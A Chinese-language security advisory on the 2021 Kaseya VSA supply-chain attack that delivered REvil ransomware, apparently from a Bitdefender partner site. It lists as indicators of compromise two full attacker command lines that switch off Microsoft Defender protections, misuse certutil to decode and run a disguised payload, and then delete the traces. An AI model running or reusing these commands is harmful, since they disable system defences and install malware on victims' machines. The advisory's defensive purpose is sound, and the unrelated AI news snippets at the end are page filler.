2021 年 7 月 3 日美国东部时间上午 10:00 ,远程IT管理软件厂商Kaseya发布了紧急安全通告,Kaseya 的 VSA 产品成为复杂网络攻击的受害者,攻击者正在使用Kaseya来分发REvil勒索病毒。
Kasaya安全通告:
“我们继续强烈建议我们的本地客户的 VSA 服务器保持关闭状态,直至另行通知。我们还将保持 SaaS 服务器离线,直至另行通知。
我们的外部专家建议我们,遇到勒索软件并收到攻击者通信的客户不应点击任何链接——它们可能被武器化。”
公告原文:https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689
Bitdefender正在积极监控和分析使用 Kaseya 发动的高级攻击,Bitdefender迄今为止的调查结果表明,Bitdefender 解决方案可检测并阻止攻击中使用的命令行操作和交付的恶意payload,从而保护Bitdefender客户免受此次复杂的攻击。
由于这是一个不断变化的情况,我们将在可用时使用其他信息更新这篇文章。
Bitdefender 客户指南:
经过验证的IoC指标 :
1. 从 Kaseya 代理执行的命令行:
C:\Windows\system32\cmd.exe” /c ping 127.0.0.1 -n 5825 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe
和
C:\WINDOWS\system32\cmd.exe /c ping 127.0.0.1 -n 3637 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\WaRCoMWorking\agent.crt c:\WaRCoMWorking\agent.exe & del /q /f c:\WaRCoMWorking\agent.crt C:\Windows\cert.exe & c:\WaRCoMWorking\agent.exe
2. 哈希:
3. 文件路径:
正在使用Bitdefender EDR的客户,可以使用IOC扫描功能,在全网中地毯式搜索IOC指标:
添加黑名单规则:在黑名单区域,可以添加上述IOC的哈希,全网阻断运行:
好文章,需要你的鼓励
南洋理工大学研究团队开发了WorldMem框架,首次让AI拥有真正的长期记忆能力,解决了虚拟世界模拟中的一致性问题。该系统通过记忆银行存储历史场景,并使用智能检索机制,让AI能准确重现之前的场景和事件,即使间隔很长时间。实验显示在Minecraft和真实场景中都表现出色,为游戏、自动驾驶、机器人等领域带来广阔应用前景。
AWS通过升级SageMaker机器学习平台来扩展市场地位,新增观测能力、连接式编码环境和GPU集群性能管理功能。面对谷歌和微软的激烈竞争,AWS专注于为企业提供AI基础设施支撑。SageMaker新功能包括深入洞察模型性能下降原因、为开发者提供更多计算资源控制权,以及支持本地IDE连接部署。这些更新主要源于客户需求,旨在解决AI模型开发中的实际问题。
MTS AI研究团队提出RewardRanker系统,通过重排序模型和迭代自训练显著提升AI代码生成质量。该方法让13.4B参数模型超越33B大模型,在多种编程语言上表现优异,甚至在C++上超越GPT-4。通过引入困难负样本和PPO优化,系统能从多个代码候选中选出最优方案,为AI编程助手的实用化奠定基础。